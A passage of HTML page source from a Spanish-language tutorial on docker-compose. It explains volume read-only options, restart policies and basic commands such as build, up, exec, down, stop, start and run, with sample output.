&#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Opcionalmente podemos especificar si el uso de volúmenes será de solo lectura o de lectura y escritura, con &amp;ldquo;ro&amp;rdquo; y &amp;ldquo;rw&amp;rdquo;, respectivamente.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3.8&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:  &lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  db:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    image: postgres:latest&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    volumes:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/var/run/postgres/postgres.sock:/var/run/postgres/postgres.sock&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;dbdata:/var/lib/postgresql/data:ro&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;restart&#34;&gt;restart&lt;/h3&gt;&#xA;&lt;p&gt;Con restart podemos aplicar políticas de reinicio a nuestros servicios&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3.8&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:  &lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  db:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    image: postgres:latest&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    restart: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;on-failure&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La opción restart puede tomar varios valores&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;no: nunca reinicia el contenedor&lt;/li&gt;&#xA;&lt;li&gt;always: siempre lo reinicia&lt;/li&gt;&#xA;&lt;li&gt;on-failure: lo reinicia si el contenedor devuelve un estado de error&lt;/li&gt;&#xA;&lt;li&gt;unless-stopped: lo reinicia en todos los casos excepto cuando se detiene&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;comandos-basicos-de-docker-compose&#34;&gt;Comandos básicos de docker compose&lt;/h2&gt;&#xA;&lt;p&gt;Ahora que ya vimos como está conformado un archivo de docker-compose y algunas de sus configuraciones más comunes, empecemos con los comandos básicos.&lt;/p&gt;&#xA;&lt;h3 id=&#34;compilar-un-archivo-de-servicios&#34;&gt;Compilar un archivo de servicios&lt;/h3&gt;&#xA;&lt;p&gt;Para realizar un build a un archivo docker-compose basta con ejecutar build. Este comando buscará un archivo llamado docker-compose.yml en la carpeta actual.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose build&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Building postgres&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Step 1/4 : FROM postgres:12.3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ---&amp;gt; b03968f50f0e&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Step 2/4 : COPY ./compose/production/postgres/maintenance /usr/local/bin/maintenance&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ---&amp;gt; Using cache&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si queremos especificar un archivo docker-compose en específico usamos la opción &lt;em&gt;-f&lt;/em&gt;, seguida del nombre del archivo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f production.yml build&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;ejecutar-docker-compose-y-sus-servicios&#34;&gt;Ejecutar docker-compose y sus servicios&lt;/h3&gt;&#xA;&lt;p&gt;Una vez que la imagen con nuestros servicios se ha creado podemos iniciar y crear los servicios con el comando up. Con docker-compose up se empezarán o reiniciarán todos los servicios en el archivo docker-compose.yml o el que especifiquemos con &lt;em&gt;-f&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose up&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Creating network &amp;#34;my_project&amp;#34; with the default driver&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Creating postgres ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Creating docs     ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Creating django   ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Probablemente querramos ejecutar nuestro stack de servicios en segundo plano, para eso basta con agregar la opción &lt;em&gt;-d&lt;/em&gt; al final.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose up -d&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;correr-un-comando-dentro-de-un-contenedor-en-ejecucion&#34;&gt;Correr un comando dentro de un contenedor en ejecución&lt;/h3&gt;&#xA;&lt;p&gt;Para ejecutar un comando dentro un servicio que está corriendo usamos el comando docker-compose exec, seguido nombre del servicio y el comando. En este caso al ejecutar bash entramos en la terminal de nuestro servicio llamado app.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose &lt;span style=&#34;color:#ff5c57&#34;&gt;exec&lt;/span&gt; app bash&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;detener-y-remover-los-servicios&#34;&gt;Detener y remover los servicios&lt;/h3&gt;&#xA;&lt;p&gt;Detiene y remueve los contenedores, redes, volúmenes e imágenes que se crean con el comando docker-compose down.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose down&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Stopping django   ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Stopping docs     ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Stopping postgres ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Removing django   ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Removing docs     ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Removing postgres ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Removing network my_project&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;reiniciar-los-servicios&#34;&gt;Reiniciar los servicios&lt;/h3&gt;&#xA;&lt;p&gt;Si queremos reiniciar uno o todos los servicios usamos el comando docker-compose restart.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose restart&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Restarting django   ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Restarting docs     ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Restarting postgres ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para ejecutar docker-compose restart en solo a un servicio basta con colocar el nombre del servicio al final.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose restart servicio&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;detener-los-servicios-sin-removerlos&#34;&gt;Detener los servicios sin removerlos&lt;/h3&gt;&#xA;&lt;p&gt;Para detener uno o todos los servicios tenemos que usar docker-compose stop.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose stop&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Stopping django   ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Stopping docs     ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Stopping postgres ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para ejecutar docker-compose stop a solo a un servicio basta con colocar el nombre del servicio al final.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose stop servicio&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;iniciar-los-servicios-de-docker-compose-sin-crearlos&#34;&gt;Iniciar los servicios de docker-compose sin crearlos&lt;/h3&gt;&#xA;&lt;p&gt;Podemos iniciar uno o todos los servicios con docker-compose start. Este comando es útil solo para reiniciar contenedores previamente creados pero detenidos en algún momento, además no crea ningún contenedor nuevo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose start&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Starting postgres ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Starting django   ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Starting docs     ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Al añadir el nombre de un servicio al final el comando docker-compose start se ejecutará en solo ese servicio.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose start servicio&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;correr-un-comando-dentro-de-un-servicio&#34;&gt;Correr un comando dentro de un servicio&lt;/h3&gt;&#xA;&lt;p&gt;Para ejecutar un comando dentro de uno de nuestros servicios usamos el comando run, la opción &amp;ndash;rm eliminará el contenedor que se creará al terminar de ejecutarse, a continuación colocamos el comando. A diferencia de docker-compose start, &lt;strong&gt;este comando se usa para efectuar tareas que se llevan a cabo solo una vez.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose run --rm django python manage.py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;ver-los-procesos&#34;&gt;Ver los procesos&lt;/h3&gt;&#xA;&lt;p&gt;Para listar los containers que se están ejecutando&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose ps&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#  Name                Command              State           Ports         &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span 